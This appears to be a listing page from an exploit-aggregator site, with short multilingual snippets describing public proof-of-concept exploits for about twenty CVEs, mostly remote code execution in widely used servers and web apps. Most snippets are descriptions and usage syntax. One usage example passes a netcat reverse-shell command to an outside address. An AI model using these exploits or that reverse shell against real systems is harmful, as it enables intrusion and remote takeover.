CVE-2022-22965

CVE-2022-22965 Spring4Shell CVE-2022-22965 Uso 1. exibir informações root@kitploit: ❯ go run main.go -s INF VulnInfo: "Name": "CVE-2022-22965", "VulID": "nil", "Version": "1.0", "Author": "", "VulDate": "2022-03-30", "References": "https://nosec.org/home/detail/4983.html" , "AppName": "Spring...

CVE-2022-1388

CVE-2022-1388 Este repositório contém o código de exploração em Python para o CVE-2022-1388 RCE no F5 BIG-IP usage: exploit.py -h -t TARGET -p PORT -c CMD --ssl opções: -h, --help mostra esta mensagem de ajuda e sai -t TARGET, --target TARGET Especifica o endereço IP/nome de domínio do servidor...

CVE-2021-41773_CVE-2021-42013_Exploits

Explorando CVE-2021-41773 e CVE-2021-42013 Visão Geral Este repositório foca em explorar duas vulnerabilidades no Apache HTTPD: CVE-2021-41773 e CVE-2021-42013. Esses CVEs representam vulnerabilidades de travessia de caminho que podem potencialmente levar ao mapeamento de arquivos e à execução...

CVE-2020-27955

Exploração de Execução Remota de Código RCE no Git-lfs CVE-2020-27955 versão .bat / powershell Vulnerável: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Descoberto por Dawid Golunski https://legalhackers.com https://exploitbox.io Testado no Windows e...

WebKit-Bug-256172

WebKit-Bug-256172 Exploit RCE de Safari 1day, posiblemente parcheado en iOS 16.5.1/macOS 13.4.1 Se confirmó que el exploit funciona en macOS 13.3.1, iOS 15.8.2. Descripción Actualmente solo funciona en macOS 13.0.1 x8664 debido a offsets hardcodeados. Se implementaron addrof/fakeobj, primitiva de...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC для CVE-2023-30258-RCE от n0o0b Использование root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD,...

Apache-Tomcat---Remote-Code-Execution-via-Session-Deserialization-CVE-2025-24813-

Apache-Tomcat---通过会话反序列化实现远程代码执行-CVE-2025-24813-...

CVE-2026-17566

CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC PoC de ejecución remota de código en la herramienta Import/Export Data de pgAdmin 4. Aprovecha la divergencia semántica del escape de barra invertida entre el verificador de paréntesis isqueryparensbalanced y psql para inyectar \copy ... TO...

CVE-2019-20224

CVE-2019-20224 Pandora v7.0NG 认证后远程代码执行（CVE-2019-20224）的官方漏洞利用...

poc_CVE-2025-68613

PoC: Escape do Sandbox do n8n CVE-2025-68613 Apenas para Fins Educacionais Esta Prova de Conceito demonstra uma vulnerabilidade crítica CVE-2025-68613 no n8n. Não use isto em sistemas que você não possui ou para os quais não tem permissão explícita para testar. Visão Geral da Vulnerabilidade As...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 रिमोट कोड निष्पादन CVE-2020-8813 के लिए आधिकारिक शोषण Cacti v1.2.8 पूर्व-प्रमाणीकरण रिमोट कोड निष्पादन Cacti v1.2.8 पश्च-प्रमाणीकरण रिमोट कोड निष्पादन...

CVE-2023-21716

CVE-2023-21716 Corrupción del montón en la tabla de fuentes RTF de Microsoft Word Una vulnerabilidad dentro de wwlib de Microsoft Office permite a los atacantes lograr la ejecución remota de código con los privilegios de la víctima que abre un documento RTF malicioso. El atacante podría entregar...

CVE-2023-4596

CVE-2023-4596 CVE-2023-4596 के लिए PoC स्क्रिप्ट, अनधिकृत रिमोट कमांड निष्पादन Remote Command Execution मनमानी फ़ाइल अपलोड के माध्यम से। PoC के उपयोग का वीडियो Nuclei टेम्पलेट समाचार लेख WordFence NVD Nist सारांश वर्डप्रेस प्लगइन Forminator में एक गंभीर कमजोरी पाई गई है, जो एक अनधिकृत हमलावर को...

CVE-2023-34362

CVE-2023-34362 CVE-2023-34362 के लिए POC जो MOVEit Transfer को प्रभावित करता है तकनीकी विश्लेषण इस कमजोरी का तकनीकी मूल कारण विश्लेषण ब्लॉग पर पाया जा सकता है: सारांश यह POC एक SQL इंजेक्शन का दुरुपयोग करके sysadmin API एक्सेस टोकन प्राप्त करता है और फिर उस एक्सेस का उपयोग करके एक deserialization...

CVE-2022-47986

CVE-2022-47986 Aspera Faspex पूर्व-प्रमाणीकरण RCE https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/ Poc उपयोग: root@kitploit: python3 poc.py https://xxxxx whoami...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - कन्फ्लुएंस डेटा सेंटर और सर्वर के पुराने संस्करणों में RCE रिमोट कोड एक्जीक्यूशन भेद्यता सलाहकार रिलीज़ दिनांक मंगल, 16 जनवरी 2024 01:00 EST उत्पाद: कन्फ्लुएंस डेटा सेंटर कन्फ्लुएंस सर्वर प्रभावित संस्करण: 8.0.x 8.1.x 8.2.x 8.3.x 8.4.x 8.5.0-8.5.3 7.19.x LTS संस्कर...

CVE-2022-0944

CVE-2022-0944 एक प्रूफ ऑफ कॉन्सेप्ट शोषण SQLPad RCE CVE-2022-0944 के लिए उपयोग root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url SQLPad का URL lhost रिवर्स शेल के लिए लिसनर होस्ट पता lport रिवर्स शेल के लिए लिसनर पोर्ट username लॉगिन उपयोगकर्ता नाम...

CVE-2024-6387

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Exigimos el regreso seguro de todos los ciudadanos que han sido tomados como rehenes por el grupo terrorista Hamás. No descansaremos hasta que cada rehén sea liberado y regrese a casa sano y salvo. Puedes ayudar a traerlos de vuelta a...

Fuel-CMS-Remote-Code-Execution-1.4--RCE--

Ce depot n’a pas de fichier README...

CVE-2020-23934

CVE-2020-23934 Referências 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...